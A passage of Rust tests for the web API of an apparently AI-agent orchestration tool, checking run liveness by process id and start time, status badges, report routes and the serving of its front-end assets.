19506            old["origin_label"], "origin unknown (started before origins were recorded)",
19507            "{old}"
19508        );
19509        assert!(old["origin"].is_null(), "{old}");
19510
19511        let list = f.get("/api/runs").await.json();
19512        let labels: Vec<_> = list
19513            .as_array()
19514            .unwrap()
19515            .iter()
19516            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19517            .collect();
19518        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19519    }
19520
19521    #[tokio::test]
19522    async fn run_progress_observation_exposes_activity_without_control_evidence() {
19523        let f = Fixture::start().await;
19524        let mut state = RunState::new(
19525            PathBuf::from("/repo"),
19526            "main".into(),
19527            "abc".into(),
19528            "task".into(),
19529            Config::default(),
19530        );
19531        state.status = RunStatus::Implementing;
19532        state.seat_started(
19533            "implement",
19534            "implement-A",
19535            std::time::Duration::from_secs(60),
19536            0,
19537        );
19538        state.save_under(f.home.path()).unwrap();
19539        let observed = f
19540            .get(&format!("/api/runs/{}/progress", state.id))
19541            .await
19542            .json();
19543        assert_eq!(observed["id"], state.id);
19544        assert!(observed["observed_at"].is_string());
19545        assert_eq!(observed["updated_at"], state.updated_at.to_string());
19546        assert!(observed["progress"]["activity"].is_string());
19547        for field in [
19548            "config",
19549            "candidates",
19550            "land_approval",
19551            "task",
19552            "waiting",
19553            "done",
19554        ] {
19555            assert!(
19556                observed.get(field).is_none(),
19557                "progress must not expose control evidence: {field}"
19558            );
19559        }
19560    }
19561
19562    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19563    /// review` claims no daemon at all, so before this field existed the
19564    /// route above read it as `"dead"` — indistinguishable from a run a
19565    /// killed process abandoned — the whole time it was genuinely still
19566    /// answering. With a live pid recorded, it must read `"live"` even
19567    /// though no daemon claims it.
19568    #[tokio::test]
19569    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19570        let f = Fixture::start().await;
19571        let id = "20260922-090000-cccc";
19572        let mut state = RunState::new(
19573            PathBuf::from("/repo/magi"),
19574            "main".to_owned(),
19575            "0123456789abcdef".to_owned(),
19576            "Review only".to_owned(),
19577            Config::default(),
19578        );
19579        state.id = id.to_owned();
19580        state.status = RunStatus::Reviewing;
19581        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19582        // This test process's own pid: guaranteed alive, and never needs a
19583        // real daemon or a second process to prove it. The matching start-time
19584        // marker is what `liveness` now requires alongside a live pid — see
19585        // `RunState::driver_started_at`'s own doc for why the pid alone is
19586        // not enough.
19587        state.driver_pid = Some(std::process::id());
19588        state.driver_started_at = Some(
19589            crate::proc::process_started_at(std::process::id())
19590                .expect("this test process's own start time must be queryable"),
19591        );
19592        let dir = f.runs().join(id);
19593        std::fs::create_dir_all(&dir).expect("run dir");
19594        std::fs::write(
19595            dir.join("run.json"),
19596            serde_json::to_string_pretty(&state).expect("serialize run"),
19597        )
19598        .expect("write run.json");
19599
19600        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19601        assert_eq!(detail["live"], "live", "{detail}");
19602    }
19603
19604    /// A killed manual run's pid can be handed to a wholly unrelated later
19605    /// process — a live query on `driver_pid` alone would read this as
19606    /// `"live"`, exactly the false positive `driver_started_at` exists to
19607    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19608    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19609    #[tokio::test]
19610    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19611        let f = Fixture::start().await;
19612        let id = "20260922-090100-dddd";
19613        let mut state = RunState::new(
19614            PathBuf::from("/repo/magi"),
19615            "main".to_owned(),
19616            "0123456789abcdef".to_owned(),
19617            "Review only".to_owned(),
19618            Config::default(),
19619        );
19620        state.id = id.to_owned();
19621        state.status = RunStatus::Reviewing;
19622        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19623        // This test process's own pid really is alive, but the marker
19624        // recorded here does not match what it actually started at —
19625        // standing in for the pid having since been reused by a different
19626        // process than the one that wrote `run.json`.
19627        state.driver_pid = Some(std::process::id());
19628        state.driver_started_at = Some("1".to_owned());
19629        let dir = f.runs().join(id);
19630        std::fs::create_dir_all(&dir).expect("run dir");
19631        std::fs::write(
19632            dir.join("run.json"),
19633            serde_json::to_string_pretty(&state).expect("serialize run"),
19634        )
19635        .expect("write run.json");
19636
19637        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19638        assert_eq!(detail["live"], "dead", "{detail}");
19639    }
19640
19641    /// The deck's competition list is normally the first place an operator
19642    /// sees an old run. It must carry the same process verdict as detail, or
19643    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19644    #[test]
19645    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19646        let mk = |id: &str, pid: Option<u32>| {
19647            let mut s = RunState::new(
19648                PathBuf::from("/repo/magi"),
19649                "main".to_owned(),
19650                "0123456789abcdef".to_owned(),
19651                "Add a web UI".to_owned(),
19652                Config::default(),
19653            );
19654            s.id = id.to_owned();
19655            s.driver_pid = pid;
19656            s.driver_started_at = Some("1790000000".to_owned());
19657            s
19658        };
19659        let states = vec![
19660            mk("20260902-140502-aaaa", Some(77)),
19661            mk("20260902-140502-bbbb", Some(77)),
19662            mk("20260902-140502-cccc", Some(77)),
19663            mk("20260902-140502-dddd", None),
19664        ];
19665        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19666        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19667        let sup: HashMap<String, String> = [(
19668            "20260902-140502-aaaa".to_owned(),
19669            "20260902-140502-cccc".to_owned(),
19670        )]
19671        .into();
19672
19673        let status_calls = std::cell::Cell::new(0);
19674        let identity_calls = std::cell::Cell::new(0);
19675        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19676            |_| {
19677                status_calls.set(status_calls.get() + 1);
19678                Some(true)
19679            },
19680            |_| {
19681                identity_calls.set(identity_calls.get() + 1);
19682                Some("1790000000".to_owned())
19683            },
19684        ));
19685        let rows = summarize(
19686            states,
19687            &open,
19688            &claimed,
19689            &sup,
19690            |p| probe.borrow_mut().status(p),
19691            |p| probe.borrow_mut().started_at(p),
19692        );
19693
19694        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19695        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19696        assert_eq!(rows.len(), 4);
19697        assert!(!rows[0].waiting && rows[1].waiting);
19698        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19699        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19700        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19701        assert_eq!(rows[1].superseded_by, None);
19702    }
19703
19704    #[test]
19705    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19706        let mut state = RunState::new(
19707            PathBuf::from("/repo/magi"),
19708            "main".to_owned(),
19709            "0123456789abcdef".to_owned(),
19710            "Review only".to_owned(),
19711            Config::default(),
19712        );
19713        state.id = "20260922-090200-dead".to_owned();
19714        state.status = RunStatus::Reviewing;
19715        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19716            .expect("serialize list row");
19717        assert_eq!(row["status"], "reviewing");
19718        assert_eq!(row["display_status"], "stale");
19719        assert_eq!(row["live"], "dead", "{row}");
19720        assert!(!row["done"].as_bool().unwrap());
19721    }
19722
19723    #[test]
19724    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19725        use crate::run::Liveness::{Dead, Live, Unknown};
19726        let mut state = RunState::new(
19727            PathBuf::from("/repo/magi"),
19728            "main".to_owned(),
19729            "abc".to_owned(),
19730            "Review only".to_owned(),
19731            Config::default(),
19732        );
19733        for (status, parked, node, waiting, live, expected) in [
19734            (
19735                RunStatus::Judging,
19736                true,
19737                "github-text",
19738                false,
19739                Dead,
19740                "parked",
19741            ),
19742            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19743            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19744            (
19745                RunStatus::Judging,
19746                true,
19747                "github-text",
19748                true,
19749                Dead,
19750                "waiting",
19751            ),
19752            (
19753                RunStatus::Judging,
19754                false,
19755                "github-text",
19756                true,
19757                Dead,
19758                "waiting",
19759            ),
19760            (
19761                RunStatus::Judging,
19762                false,
19763                "github-text",
19764                false,
19765                Dead,
19766                "stale",
19767            ),
19768            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19769            (RunStatus::Judging, true, "park", false, Live, "judging"),
19770            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19771            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19772            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19773            (
19774                RunStatus::Blocked,
19775                true,
19776                "github-text",
19777                true,
19778                Dead,
19779                "waiting",
19780            ),
19781        ] {
19782            state.status = status;
19783            state.parked = parked;
19784            state.events.clear();
19785            state.event(
19786                "park",
19787                "an earlier park does not determine the latest state",
19788            );
19789            state.event(node, "message is not used for classification");
19790            let summary = RunSummary::of(&state, waiting, live);
19791            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19792            assert_eq!(
19793                summary.display_status, expected,
19794                "{status:?}/{node}/{live:?}"
19795            );
19796            assert_eq!(detail.display_status, summary.display_status);
19797            assert_eq!(detail.waiting, summary.waiting);
19798        }
19799        state.status = RunStatus::Judging;
19800        state.parked = false;
19801        state.events.clear();
19802        assert_eq!(run_display_status(&state, false, Dead), "stale");
19803    }
19804
19805    #[test]
19806    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19807        use crate::run::Liveness::{Dead, Live, Unknown};
19808        let mut state = RunState::new(
19809            PathBuf::from("/repo/magi"),
19810            "main".to_owned(),
19811            "abc".to_owned(),
19812            "Badge".to_owned(),
19813            Config::default(),
19814        );
19815        for (status, waiting, live, superseded, expected) in [
19816            (RunStatus::Gating, false, Dead, false, "stale"),
19817            (RunStatus::Gating, false, Dead, true, "superseded"),
19818            (RunStatus::Gating, false, Unknown, true, "superseded"),
19819            (RunStatus::Gating, true, Dead, true, "superseded"),
19820            (RunStatus::Gating, true, Dead, false, "waiting"),
19821            (RunStatus::Gating, false, Unknown, false, "gating"),
19822            (RunStatus::Gating, false, Live, true, "gating"),
19823            (RunStatus::Gating, true, Live, true, "waiting"),
19824            (RunStatus::Merged, false, Dead, true, "merged"),
19825            (RunStatus::Blocked, false, Dead, true, "blocked"),
19826        ] {
19827            state.status = status;
19828            let display = run_display_status(&state, waiting, live);
19829            assert_eq!(
19830                run_badge_status(&state, &display, live, superseded),
19831                expected,
19832                "{status:?}/{live:?}/superseded={superseded}"
19833            );
19834        }
19835    }
19836
19837    #[test]
19838    fn summarize_and_detail_expose_badge_status() {
19839        use crate::run::Liveness::Dead;
19840        let mut state = RunState::new(
19841            PathBuf::from("/repo/magi"),
19842            "main".to_owned(),
19843            "abc".to_owned(),
19844            "Badge".to_owned(),
19845            Config::default(),
19846        );
19847        state.status = RunStatus::Gating;
19848        let none = HashSet::new();
19849        let id = state.id.clone();
19850        let mut by = HashMap::new();
19851        let rows = summarize(
19852            [state.clone()],
19853            &none,
19854            &none,
19855            &by,
19856            |_| Some(false),
19857            |_| None,
19858        );
19859        // No driver recorded: liveness is not provably dead, so the node stays.
19860        assert_eq!(rows[0].badge_status, rows[0].display_status);
19861        by.insert(id, "20260901-000000-913b".to_owned());
19862        let detail = RunDetailView::of(
19863            state.clone(),
19864            false,
19865            Dead,
19866            Some("913b".to_owned()),
19867            None,
19868            None,
19869        );
19870        assert_eq!(detail.badge_status, "superseded");
19871        let json = serde_json::to_value(&detail).unwrap();
19872        assert_eq!(json["badge_status"], "superseded");
19873        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19874        assert_eq!(detail.badge_status, "stale");
19875    }
19876
19877    #[tokio::test]
19878    async fn run_display_status_routes_share_the_open_question_store() {
19879        let f = Fixture::start().await;
19880        let id = "20260922-090200-abcd";
19881        write_run(&f.runs(), id, RunStatus::Judging);
19882        let mut state = read_run(&f.runs(), id).unwrap();
19883        state.parked = true;
19884        state.driver_exited = true;
19885        state.event("github-text", "waiting for the owner");
19886        state.save_under(f.home.path()).unwrap();
19887        let mut task = Task::new(
19888            "resumed task".to_owned(),
19889            "do it".to_owned(),
19890            PathBuf::from("/repo"),
19891            Source::Human,
19892        );
19893        task.runs = vec![id.to_owned(), id.to_owned()];
19894        f.queue().put(&mut task).unwrap();
19895        let store = f.questions();
19896        let mut q = Question::new(
19897            id.to_owned(),
19898            "github-text".to_owned(),
19899            "owner".to_owned(),
19900            "Approve the text?".to_owned(),
19901            String::new(),
19902            Vec::new(),
19903        );
19904        store.put(&mut q).unwrap();
19905        for expected in ["waiting", "parked"] {
19906            let list = f.get("/api/runs").await.json();
19907            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19908            assert_eq!(list[0]["display_status"], expected);
19909            assert_eq!(detail["display_status"], expected);
19910            assert_eq!(detail["waiting"], list[0]["waiting"]);
19911            assert_eq!(list[0]["badge_status"], expected);
19912            assert_eq!(detail["badge_status"], expected);
19913            assert!(list[0]["superseded_by"].is_null());
19914            assert!(detail["superseded_by"].is_null());
19915            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19916            let history = task_detail["history"].as_array().unwrap();
19917            assert_eq!(history.len(), 2);
19918            assert!(history[0]["badge"].is_null());
19919            assert_eq!(history[1]["badge"], expected);
19920            q.status = ask::QuestionStatus::Answered;
19921            store.put(&mut q).unwrap();
19922        }
19923    }
19924
19925    #[tokio::test]
19926    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19927        let f = Fixture::start().await;
19928        let id = "20260922-090200-abcd";
19929        write_run(&f.runs(), id, RunStatus::Judging);
19930        let mut state = read_run(&f.runs(), id).unwrap();
19931        state.parked = true;
19932        state.driver_exited = true;
19933        state.event("park", "stopped at a node boundary");
19934        state.save_under(f.home.path()).unwrap();
19935
19936        for expected in ["parked", "stale"] {
19937            let list = f.get("/api/runs").await.json();
19938            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19939            assert_eq!(list[0]["live"], "dead");
19940            assert_eq!(list[0]["display_status"], expected);
19941            assert_eq!(detail["display_status"], expected);
19942            // Model a driver claim followed by a crash before the next event:
19943            // the persisted flag changes, but the last event is still park.
19944            state.parked = false;
19945            state.save_under(f.home.path()).unwrap();
19946        }
19947    }
19948
19949    #[tokio::test]
19950    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19951        let f = Fixture::start().await;
19952        for id in [
19953            "20260902-140501-aaaa",
19954            "20260902-140502-bbbb",
19955            "20260902-140503-cccc",
19956        ] {
19957            write_run(&f.runs(), id, RunStatus::Merged);
19958        }
19959
19960        let all = f.get("/api/runs").await.json();
19961        let capped = f.get("/api/runs?limit=2").await.json();
19962
19963        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19964        assert_eq!(all.as_array().map(Vec::len), Some(3));
19965        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19966        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19967    }
19968
19969    #[tokio::test]
19970    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19971        let f = Fixture::start().await;
19972        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19973
19974        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19975
19976        assert_eq!(res.status, 200);
19977        assert!(
19978            res.headers
19979                .contains("content-type: text/plain; charset=utf-8"),
19980            "a browser must render it, not download it: {}",
19981            res.headers
19982        );
19983        // The assertion is on content, not on the absence of escapes: colour
19984        // is a process-global that `serve` turns off at startup, and another
19985        // test in this binary may own it while this one runs.
19986        assert!(
19987            res.body.contains("20260902-140501-a1b2"),
19988            "the report is about the run that was asked for: {}",
19989            res.body
19990        );
19991    }
19992
19993    #[tokio::test]
19994    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19995        // The view names the run's state directory, which reads the process-global home.
19996        crate::run::pin_test_home();
19997        let f = Fixture::start().await;
19998        let id = "20260902-140501-a1b2";
19999        write_run(&f.runs(), id, RunStatus::Stalled);
20000        // A stalled panel and one review round, written through the real
20001        // state file so the route reads what a run really leaves behind.
20002        let path = f.runs().join(id).join("run.json");
20003        let mut v: serde_json::Value =
20004            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20005        v["tally"] = serde_json::json!({
20006            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20007            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20008            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20009            "met_quorum": false, "rankings": 1
20010        });
20011        v["reviews"] = serde_json::json!([{
20012            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20013            "e2e_deferred": true,
20014            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20015                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20016            ]}]
20017        }]);
20018        std::fs::write(&path, v.to_string()).unwrap();
20019        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20020        std::fs::write(
20021            f.runs().join("20260902-140502-dead").join("run.json"),
20022            "{not json",
20023        )
20024        .unwrap();
20025
20026        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20027
20028        assert_eq!(res.status, 200, "{}", res.body);
20029        assert!(res.headers.contains("content-type: application/json"));
20030        let j = res.json();
20031        assert_eq!(j["schema"], 1);
20032        assert_eq!(j["header"]["id"], id);
20033        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20034        let kinds: Vec<&str> = j["sections"]
20035            .as_array()
20036            .unwrap()
20037            .iter()
20038            .map(|s| s["kind"].as_str().unwrap())
20039            .collect();
20040        assert_eq!(kinds, ["candidates", "tally", "review"]);
20041        let tally = &j["sections"][1]["tally"];
20042        assert_eq!(
20043            (tally["decided"].clone(), tally["provisional"].clone()),
20044            (false.into(), true.into())
20045        );
20046        let round = &j["sections"][2]["rounds"][0];
20047        assert_eq!(round["e2e"]["state"], "deferred");
20048        assert_eq!(round["findings"][0]["severity"], "major");
20049        assert_eq!(round["findings"][0]["blocking"], true);
20050        assert_eq!(round["findings"][0]["state"], "open");
20051
20052        // The raw route keeps working beside it.
20053        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20054
20055        // An unreadable run is an error, as on the text route, and is counted.
20056        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20057        assert_ne!(bad.status, 200, "{}", bad.body);
20058        assert_eq!(
20059            bad.status,
20060            f.get("/api/runs/20260902-140502-dead/report").await.status
20061        );
20062        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20063        assert_eq!(
20064            f.get("/api/runs/20260902-999999-ffff/report.json")
20065                .await
20066                .status,
20067            404
20068        );
20069    }
20070
20071    #[tokio::test]
20072    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20073        crate::run::pin_test_home();
20074        let f = Fixture::start().await;
20075        let id = "20260902-140503-delib";
20076        write_run(&f.runs(), id, RunStatus::Merged);
20077        let path = f.runs().join(id).join("run.json");
20078        let mut v: serde_json::Value =
20079            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20080        v["judgements"] = serde_json::json!([
20081            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20082        ]);
20083        v["tally"] = serde_json::json!({
20084            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20085            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20086            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20087            "met_quorum": true, "rankings": 1
20088        });
20089        v["deliberation"] = serde_json::json!([
20090            {
20091                "round": 1,
20092                "turns": [
20093                    {
20094                        "judge": 1,
20095                        "agent": "judge-1",
20096                        "body": "I prefer candidate **A** because it has cleaner tests.",
20097                        "tentative": "A"
20098                    }
20099                ]
20100            },
20101            {
20102                "round": 2,
20103                "turns": [
20104                    {
20105                        "judge": 1,
20106                        "agent": "judge-1",
20107                        "body": "Still thinking, no choice yet.",
20108                        "tentative": null
20109                    }
20110                ]
20111            }
20112        ]);
20113        std::fs::write(&path, v.to_string()).unwrap();
20114
20115        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20116        assert_eq!(res.status, 200, "{}", res.body);
20117        let j = res.json();
20118        let judging = j["sections"]
20119            .as_array()
20120            .unwrap()
20121            .iter()
20122            .find(|s| s["kind"] == "judging")
20123            .expect("judging section exists");
20124
20125        // Existing summary lines remain intact
20126        let delib_lines = judging["deliberation"].as_array().unwrap();
20127        assert_eq!(delib_lines.len(), 2);
20128        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20129        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20130
20131        // rounds carry turn bodies, tentative and parsed body_md
20132        let rounds = judging["rounds"].as_array().unwrap();
20133        assert_eq!(rounds.len(), 2);
20134        let r1_t0 = &rounds[0]["turns"][0];
20135        assert_eq!(r1_t0["judge"], 1);
20136        assert_eq!(r1_t0["agent"], "judge-1");
20137        assert_eq!(r1_t0["tentative"], "A");
20138        assert_eq!(
20139            r1_t0["body"],
20140            "I prefer candidate **A** because it has cleaner tests."
20141        );
20142        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20143
20144        let r2_t0 = &rounds[1]["turns"][0];
20145        assert_eq!(r2_t0["judge"], 1);
20146        assert_eq!(r2_t0["agent"], "judge-1");
20147        assert!(r2_t0["tentative"].is_null());
20148        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20149        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20150
20151        // A run with empty deliberation array yields empty rounds
20152        let id_empty = "20260902-140504-nodelib";
20153        write_run(&f.runs(), id_empty, RunStatus::Merged);
20154        let path_empty = f.runs().join(id_empty).join("run.json");
20155        let mut v_empty: serde_json::Value =
20156            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20157        v_empty["judgements"] = serde_json::json!([
20158            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20159        ]);
20160        v_empty["deliberation"] = serde_json::json!([]);
20161        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20162
20163        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20164        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20165        let j_empty = res_empty.json();
20166        let judging_empty = j_empty["sections"]
20167            .as_array()
20168            .unwrap()
20169            .iter()
20170            .find(|s| s["kind"] == "judging")
20171            .expect("judging section exists");
20172        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20173    }
20174
20175    #[tokio::test]
20176    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20177        let f = Fixture::start().await;
20178
20179        let html = f.get("/").await;
20180        let css = f.get("/app.css").await;
20181        let js = f.get("/app.js").await;
20182
20183        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20184        assert!(
20185            html.headers
20186                .contains("content-type: text/html; charset=utf-8")
20187        );
20188        assert!(css.headers.contains("content-type: text/css"));
20189        assert!(js.headers.contains("content-type: text/javascript"));
20190        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20191    }
20192
20193    #[test]
20194    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20195        let body = |name: &str| {
20196            let at = APP_JS
20197                .find(name)
20198                .unwrap_or_else(|| panic!("{name} missing"));
20199            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20200        };
20201        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20202        let note = body("function landRoundNote");
20203        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20204        assert!(note.contains("Land round ${round}"));
20205        let land = body("function renderLand");
20206        let note_at = land
20207            .find("landRoundNote(pr)")
20208            .expect("renderLand uses the note");
20209        assert!(
20210            note_at
20211                < land
20212                    .find("roundRail(pr)")
20213                    .expect("renderLand uses the rail")
20214        );
20215    }
20216
20217    #[test]
20218    fn the_runs_page_redesign_keeps_its_guards() {
20219        let body = |name: &str| {
20220            let at = APP_JS
20221                .find(name)
20222                .unwrap_or_else(|| panic!("{name} missing"));
20223            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20224        };
20225        // A null child must never reach the native append (it prints "null").
20226        let land = body("function renderLand");
20227        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20228        assert!(
20229            !land.contains("box.append("),
20230            "renderLand must use append()"
20231        );
20232        assert!(land.contains("append(box, ["));
20233        // Tabs are hash routes; the run id alone decides a reload.
20234        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20235        assert!(
20236            body("function applyRoute")
20237                .contains("route.name !== state.route.name || route.id !== state.route.id")
20238        );
20239        // The decorative diagram is gone, the strip and its guards stay.
20240        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20241        assert!(!INDEX_HTML.contains("advise-converge"));
20242        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20243        assert!(APP_JS.contains("provisional"));
20244        for id in [
20245            "run-tab-overview",
20246            "run-tab-timeline",
20247            "run-tab-report",
20248            "run-report",
20249            "runs-scope",
20250        ] {
20251            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20252        }
20253        assert!(!INDEX_HTML.contains("runs-tree"));
20254        assert!(!INDEX_HTML.contains("run-raw-panel"));
20255        // Fold still says it cannot be resumed.
20256        assert!(APP_JS.contains("resume"));
20257        // The unreadable-runs count stays on the page.
20258        assert!(APP_JS.contains("unreadable"));
20259    }
20260
20261    #[test]
20262    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20263        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20264        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20265        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20266        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20267        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20268        // The subtitle still counts them whatever the banner does.
20269        assert!(APP_JS.contains("unreadable` : null"));
20270    }
20271
20272    #[test]
20273    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20274        let mut state = RunState::new(
20275            "/repo".into(),
20276            "main".into(),
20277            "abc".into(),
20278            "task".into(),
20279            crate::config::Config::default(),
20280        );
20281        state.status = RunStatus::Blocked;
20282        state.gate_ran = true;
20283        state.gate.push(crate::run::CommandOutcome {
20284            command: "cargo make check".into(),
20285            code: Some(1),
20286            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20287            duration_ms: 0,
20288            resource_blocked: false,
20289        });
20290        let view = RunDetailView::of(
20291            state,
20292            false,
20293            crate::run::Liveness::Unknown,
20294            None,
20295            None,
20296            None,
20297        );
20298        let value = serde_json::to_value(view).unwrap();
20299        assert_eq!(
20300            value["stop_reason"],
20301            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20302        );
20303    }
20304
20305    #[test]
20306    fn the_run_detail_payload_says_whether_the_run_is_done() {
20307        // `landView` reads `run.done`; the detail response must carry it.
20308        for (status, done) in [
20309            (RunStatus::Superseded, true),
20310            (RunStatus::Blocked, true),
20311            (RunStatus::Landing, false),
20312        ] {
20313            let mut state = RunState::new(
20314                std::path::PathBuf::from("/repo"),
20315                "main".to_owned(),
20316                "abc".to_owned(),
20317                "x".to_owned(),
20318                crate::config::Config::default(),
20319            );
20320            state.status = status;
20321            let v = serde_json::to_value(RunDetailView::of(
20322                state,
20323                false,
20324                crate::run::Liveness::Unknown,
20325                None,
20326                None,
20327                None,
20328            ))
20329            .unwrap();
20330            assert_eq!(v["done"], done, "{status:?}");
20331        }
20332    }
20333
20334    /// The first node of a markdown block holds a `strong` somewhere.
20335    fn has_strong(nodes: &[md::Node]) -> bool {
20336        serde_json::to_string(nodes).unwrap().contains("strong")
20337    }
20338
20339    #[test]
20340    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20341        let mut state = RunState::new(
20342            std::path::PathBuf::from("/repo"),
20343            "main".to_owned(),
20344            "abc".to_owned(),
20345            "x".to_owned(),
20346            crate::config::Config::default(),
20347        );
20348        let proposal = |approach: &str| {
20349            serde_json::json!({
20350                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20351            })
20352        };
20353        state.advice = Some(
20354            serde_json::from_value(serde_json::json!({
20355                "records": [
20356                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20357                     "proposal": proposal("do **this**")},
20358                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20359                ],
20360                "synthesis": "- one\n- **two**\n\n`code`",
20361            }))
20362            .unwrap(),
20363        );
20364        state.candidates = serde_json::from_value(serde_json::json!([
20365            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20366             "summary": "did **it**"},
20367            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20368        ]))
20369        .unwrap();
20370        // Recorded in ascending severity, the reverse of how the page sorts
20371        // them: the arrays must follow the record, not the display.
20372        state.reviews = serde_json::from_value(serde_json::json!([{
20373            "round": 1, "head": "h",
20374            "reviews": [{
20375                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20376                "findings": [
20377                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20378                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20379                ],
20380            }],
20381            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20382            "fix": {"agent": "a", "notes": "fixed **it**",
